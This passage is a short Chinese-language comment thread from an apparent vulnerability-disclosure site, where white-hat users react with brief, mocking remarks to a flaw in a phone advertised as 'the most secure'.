  2. 2015-09-16 15:39 | prolog ( 普通白帽子 | Rank:567 漏洞数:108 | 低调求发展)

    又打脸了。。

  3. 2015-09-16 15:58 | M4sk ( 普通白帽子 | Rank:1213 漏洞数:321 | 国内信息安全任重而道远，还需要厂商和白帽...)

    mark

  4. 2015-09-16 16:13 | 随风的风 ( 普通白帽子 | Rank:131 漏洞数:48 | [code]时光如水，总是无言，你若安好，便是...)

    打脸啪啪啪 最安全的手机。。呵呵